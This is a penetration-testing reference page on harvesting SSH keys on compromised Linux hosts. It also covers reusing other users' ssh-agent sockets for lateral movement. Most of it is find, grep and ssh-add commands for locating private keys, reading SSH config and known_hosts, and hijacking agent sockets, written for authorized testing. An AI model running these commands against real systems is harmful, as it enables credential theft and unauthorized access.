# SSH keys and agent harvesting

> Techniques for harvesting SSH keys and abusing agent forwarding on compromised Linux hosts to enable lateral movement across infrastructure.

- **URL:** https://hackindex.io/platforms/linux/post-exploitation/credentials/ssh-keys-and-agent-harvesting
- **Path:** Linux > Post-Exploitation > Credentials
- **Up:** [Credentials](https://hackindex.io/platforms/linux/post-exploitation/credentials.md)
- **Published:** 2026-02-17
- **Updated:** 2026-08-11

> [!WARNING]
> Run these techniques only on systems you are explicitly authorized to test. Shell histories can contain credentials and internal hostnames. Minimize collection, don’t modify history files, and store/delete outputs according to the engagement’s rules.

You are looking for private keys, agent access, and SSH config that maps internal targets.

## User SSH material

```bash
ls -la /home 2>/dev/null
ls -la ~/.ssh 2>/dev/null
find /home -maxdepth 3 -type d -name ".ssh" 2>/dev/null
```

Pull high-value files when present:

```bash
sed -n '1,200p' ~/.ssh/config 2>/dev/null
sed -n '1,200p' ~/.ssh/known_hosts 2>/dev/null
sed -n '1,200p' ~/.ssh/authorized_keys 2>/dev/null
```

Interpretation:

- `~/.ssh/config` often contains internal hostnames, jump hosts, usernames, and key paths.
- `known_hosts` is an internal hostname and IP list you can reuse later.

## Find private keys without guessing names

```bash
find /home -maxdepth 4 -type f 2>/dev/null \( -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" -o -name "*_rsa" -o -name "*_ed25519" \) -exec ls -la {} \;
```

Check whether a key is encrypted without modifying it:

```bash
KEY=/path/to/key
ssh-keygen -y -f "$KEY" >/dev/null
echo $?
```

Interpretation:

- Exit code `0` means the key could be used without a passphrase prompt.
- A passphrase prompt means the key is encrypted. Don’t brute force interactively on target. Capture it for offline handling if in scope.

### Broad sweep across all readable files (**noisy**)

**This is heavier**. Keep it on one filesystem and prune pseudo filesystems.

```bash
find / -xdev \( -path /proc -o -path /sys -o -path /dev -o -path /run -o -path /snap \) -prune -o -type f -readable -size -2M -print0 2>/dev/null | xargs -0 -r grep -Il --binary-files=without-match -E "-----BEGIN (OPENSSH|RSA|EC|DSA)? ?PRIVATE KEY-----" 2>/dev/null
```

Interpretation:

- Hits under `/etc/ssh/` may be host keys. Useful for certain scenarios, but treat them differently than user keys.
- Hits under `/home`, `/opt`, `/srv`, `/var/www` are more likely to be user or application keys that unlock access elsewhere.

## SSH agent and forwarded agent reuse

Check if an agent is present for your current shell:

```bash
echo "$SSH_AUTH_SOCK"
ssh-add -l 2>/dev/null
ssh-add -L 2>/dev/null | sed -n '1,120p'
```

If you suspect other accessible agent sockets on disk:

```bash
find /tmp -maxdepth 3 -type s -name "agent.*" 2>/dev/null
```

If you can read or access a socket path that belongs to a more privileged context, you can try pointing your session at it:

```bash
export SSH_AUTH_SOCK=/tmp/ssh-*/agent.*
ssh-add -l 2>/dev/null
```

Interpretation that changes decisions:

- If `ssh-add -l` shows keys, you can authenticate to targets where those keys are trusted without ever touching the private key file.
- If `SSH_AUTH_SOCK` is empty and no keys exist on disk, deprioritize SSH-based access and focus on other credentials.

## References

- [ssh manual](https://man.openbsd.org/ssh) - Client behavior and options
- [ssh-agent manual](https://man.openbsd.org/ssh-agent) - Agent socket and forwarding behavior
- [ssh-add manual](https://man.openbsd.org/ssh-add) - Listing and using loaded keys
